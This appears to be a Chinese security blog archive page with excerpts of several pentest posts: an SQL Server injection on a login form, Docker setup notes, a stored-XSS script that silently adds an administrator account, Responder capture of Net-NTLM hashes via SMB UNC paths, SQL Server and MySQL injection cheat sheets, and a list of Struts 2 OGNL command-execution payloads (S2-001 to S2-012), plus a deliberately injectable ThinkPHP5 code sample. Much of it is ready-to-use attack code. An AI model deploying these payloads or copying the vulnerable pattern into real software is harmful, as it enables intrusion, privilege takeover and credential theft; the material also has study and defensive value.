记一次SQL Server报错注入

0x00 验证码前端验证 需要测试一个网站,刚开始看到网站时感觉希望不大,因为验证码是需要拖动的,这也就意味着很大可能没办法爆破,另一方面是都用这种验证码了,安全做的能很差劲吗?果然,试了admin、123456之类的都不行 那就抓个包吧 emmmmmm。 32位,md5加密?这里看着没有验证码之类的信息,把这个包发了几次发现没有出现验证码信息,而且试了试,发现有两种状态(运气比较好,有admin这个用户,我也是试的这个用户,一下子就看出返回不同了),如下: 用户不存在时返回 {"iserror":true,"message":"用户名不存在!","data":null,"errorfieldlist":null} 用户名存在时返回 {"iserror":true,"message":"密码不正确!","data":null,"errorfieldlist":null} 可以的,验证码前端验证,我觉得可以burp抓包intruder一下 跑了top 500的用户名和top 1000的密码,除了直接试的用户名admin,其他的一个都没有跑出来 sad 0x01 存在注入 嗯看来爆破是基本没有希望了,测其他的吧,嗯,这里是登陆,那肯定要看注入的,无脑加单引号,boom! 可以的,and 1=1 有注入 哎??!!!那不对啊,咋的后台还解密md5后进行查询?? 刚才看了数据包,用户名密码都是32位,猜想sql语句是:select password from user where username=name_md5_hash,然后判断用户存不存在之类的 看返回信息的话显然不是啊,哪有后台解密md5后查询的。。。。。。 试试post其他用户名和密码,然后看数据包 显然并不是md5。。。。 这个是前端加密后发送的。。。。。看一下js,结果发现了这个 emmmmm,想了想,应该可以注入的,看看啥系统 大概率SQL Server了(因为前几天在t00ls刚看到了一个ASP.NET+MySQL,比较任性),所以这里看一下,发现确实是SQL Server 看看数据库版本,嗯,看来还是报错注入 可以可以,看看有几列,然后进行union注入 一列,这里也能大致猜出来sql语句了,估计就是:select password from user where username='admin' 那就看看数据库吧,不知道SQL Server中的concat怎么用,一个个来吧。。。。 得到第一个数据库的名字:union select name from master.dbo.sysdatabases where dbid=1 得到第二个数据库的名字:union select name from master.dbo.sysdatabases where dbid=2 得到第5个数据库的名字:union select name from master.dbo.sysdatabases where dbid=5 好麻烦啊,拖一下验证码,然后得到一个数据库,而且后面还有表呢。。。。。 py一下了吧,前端有js进行加密,可以本地写文件生成加密后的payload,然后python拿到payload后进行注入


使用docker-compose构造LAMP环境

0x00 实现功能 使用docker-compose构造LAMP环境,其中mysql数据库、mysql配置文件、网站文件均持久化存储到本机。 apache、php通过Dockerfile构造,Dockerfile拉取ubuntu镜像,然后安装apache2和php。 mysql的话通过docker的links连接mysql:5.5这个镜像当作数据库。 具体文件参见:https://github.com/reber0/docker_env 0x01 文件构造 ➜ tree apache apache ├── Dockerfile ├── conf │ └── my.cnf ├── docker-compose.yml ├── mysql ├── src │ ├── init.sh │ └── sources.list └── web └── index.php 4 directories, 6 files 0x02 docker-compose.yml version: '3' services: apache: image: ubuntu:apache #镜像名为ubuntu,tag为apache container_name: apache #运行后生成的容器名字为apache build: . #使用当前路径下的Dockerfile构造镜像 ports: - "81:80" volumes: - ./www:/var/www/html links: - mymysql environment: #设置环境变量 - TZ=Asia/Shanghai #设定时区 restart: always #容器重启策略:当容器终止退出后,总是重启容器,默认策略。 mymysql: image: mysql:5.


Docker之Docker Compose

0x00 关于docker compose 可以把docker-compose当作docker命令的封装,它是一个用来把 docker 自动化的东西,docker-compose可以一次性管理多个容器,通常用于需要多个容器相互配合来完成某项任务的场景。 0x01 安装与卸载 https://docs.docker.com/compose/install 0x02 一些常用命令 构建容器:docker-compose up -d 启动容器:docker-compose start 停止容器:docker-compose stop 重启容器:docker-compose restart kill容器:docker-compose kill 删除容器:docker-compose rm bash连接容器:docker-compose exec [services_name] bash 执行一条命令:docker-compose run [services_name] [command] 0x03 docker-compose简单应用 结构 . ├── Dockerfile ├── docker-compose.yml └── src ├── app.py └── sources.list 1 directory, 4 files Dockerfile FROM ubuntu:14.04.4 MAINTAINER reber <1070018473@qq.com> COPY ./src /code #将data挂载到容器的code WORKDIR /code RUN cp sources.list /etc/apt/sources.


记一次渗透测试中利用存储型XSS添加用户

$(document).ready(function(){ window.location.href='/404.html'; }); ``` ![80](/img/post/20181114-121432.png) 当用户yxk浏览用户申请列表页面时触发XSS ![80](/img/post/20181114-121938.png) 回到reber用户,可以看到已经加入了yxk的组织,可以进行一些操作了 ![80](/img/post/20181114-122147.png) ### 0x05 更进一步,添加为管理员 刚开始分析发现通过上面的过程先添加用户,然后再添加用户为管理员,比较麻烦 后续发现其实不用这么麻烦,直接用另外一个接口发送ajax请求就能直接添加管理员用户 添加管理员的2.js如下: ``` function get_gid(){ $.ajax({ type: 'post', url: '/a/cms/group/treeNode', dataType: 'json', async: false, data: 'parentId=0', success: function(data){ gid = data[0]['dataObject']['topGroupId']; } }); return gid; } var gid = get_gid(); $.post('/a/cms/member/do.save',{memberId: 0,userId: '',mobile: '176004****',name: 'aaa',pinyin: 'aaa',groupId: 608863,group: '默认分组',roleId: 2,duty: '',sex: 0,sort: '10000','TEL;CELL': '','TEL;WORK': '',EMAIL: ''}); ``` 提交验证信息为:```test``` 当yxk访问请求的list页面时即可直接添加新用户aaa到group并且是管理员账户: ![80](/img/post/20181114-123006.png) 好了,打完收工! PS:漏洞已提交,并早在3个月前修复 --


内网渗透之Responder与Net-NTML hash

0x00 一些概念 Windows认证协议 分为:基于NTML的认证和基于kerberos的认证 什么是NTLM Hash? 早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash 什么是Challenge-Response挑战/响应验证机制? Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到 DC DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证 NTLM Hash与Net-NTLM Hash NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash 关于Responder 由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。 什么是NTLM中继攻击? 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。 0x01 软件环境 可以从https://github.com/lgandx/Responder下载Responder 域内主机:Win7(10.11.11.20) 域控主机:Win2008(10.11.11.18) 被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段 0x02 通过SMB服务获取Net-NTLM hash 对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash net.exe use \\host\share attrib.exe \\host\share bcdboot.exe \\host\share bdeunlock.


SQL注入tips(SQL Server)

0x00 基础信息探测 @@VERSION,@@SERVERNAME,@@SERVICENAME; --Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) --WIN-2008 --MSSQLSERVER USER,CURRENT_USER,SESSION_USER,SYSTEM_USER; --dbo --dbo --dbo --sa USER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME(); --dbo --wyb --46530 --sa USER_ID(),USER_SID(); --1 --<01> ORIGINAL_LOGIN(); --sa 0x01 UNION query & error-based 注入 判断存在注入 and 1=1/and 1=2 select * from msg where id=1 and 11=(select case when(1=1) then 11 else 2 end); select * from msg where id=1 and 11=(select case when(1=2) then 11 else 2 end); 判断是否为sa权限 select name from msg where id=1 and 1=convert(int,(select is_srvrolemember('sysadmin'))); 得到所有数据库名字 --报错得到数据库名,前6个是系统自带的数据库,所以从第7个开始,dbid依次增加即可得到所有数据库 select id,name from msg where id=1 and 0<>(select name from master.


关于 PHP SESSION 反序列化

0x00 环境 公司出了一些ctf,说要摸底,然后根据答题成绩来分配相应工作。。。。。 其中有一道是php反序列化,直接用的就是 第三届4.29“安恒杯”网络安全技术大赛初赛第三个web题 我比较菜,这里根据网上已有writeup做了一遍,这里记录一下。。。。 reber@wyb:~$ html cat /proc/version Linux version 4.4.0-31-generic (buildd@lgw01-43) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 reber@wyb:~$ html php --version PHP 5.5.9-1ubuntu4.21 (cli) (built: Feb 9 2017 20:54:58) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies reber@ubuntu-linux:~$ apachectl -v Server version: Apache/2.


Struts 2相关漏洞payload

0x00 S2-001 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 0x01 S2-005 影响版本: 2.0.0 - 2.1.8.1 http://aa.com/index.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 0x02 S2-007 影响版本: 2.0.0 - 2.2.3 当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。 ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' 0x03 S2-012 影响版本: 2.1.0 - 2.3.13 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。 %{#a=(new java.lang.ProcessBuilder(new java.


SQL注入tips(MySQL)

环境:MySQL 5.5.47 0x00 注入点在Order by后面 mysql> select id,name,content from msg where id>1 order by id into outfile 'C:\\Apps\\phpStudy\\WWW\\a.txt'; Query OK, 1 row affected (0.01 sec) mysql> select id,name,content from msg where id>1 order by updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~msg~' mysql> select id,name,content from msg where id>1 order by name procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1); ERROR 1105 (HY000): XPATH syntax error: '~rtest~' mysql> select name from msg where id>1 order by if(1=1,1,(select 1 union select 2)); +----------+ | name | +----------+ | xiaohong | +----------+ 1 row in set (0.


ThinkPHP5的where函数

0x00 关于thinkphp5的where函数 年前公司委托别的公司开发一个网站,使用的是ThinkPHP 5.0.13,存在一个注入漏洞,分析后发现是因为tp5中的where函数使用不当,tp5中where这个函数可以接收字符串和数组这两种类型的参数来进行查询,而在用字符串这种传递方式时,如果使用不当的话就可能会出现sql注入。 0x01 示例代码 tp5/application/home/controller/Index.php <?php namespace app\home\controller; use think\Db; class Index { //http://127.0.0.1/Source/tp5/home/index/testdb/id/1 public function testDb() { // 调用 tp5/thinkphp/library/think/Db.php 的 connect() 函数 初始化数据库,并取得数据库类实例 $msg = db('msg'); $id = input('param.id',1); //不存在id的话默认为1 //在Db.php中use think\db\Query; $msg->where()则调用了Query.php中的where函数进入查询流程 $result = $msg->where("id=".$id)->select(); // $result = $msg->where(['id'=>$id])->select(); echo '<br/><hr/>执行的sql语句:'; echo $msg->getLastSql(); echo '<br/>最终得到的结果:'; echo var_dump($result); } } where函数接收字符串和数组时,访问http://127.0.0.1/Source/tp5/home/index/testdb/id/1执行的SQL语句分别如下: SELECT * FROM `msg` WHERE ( id=1 ) SELECT * FROM `msg` WHERE `id` = 1 前者存在注入,当payload为: ) and 1=1 and (1)=(1时判断返回如下: 主要调用文件及函数顺序如下:

可以返回顶部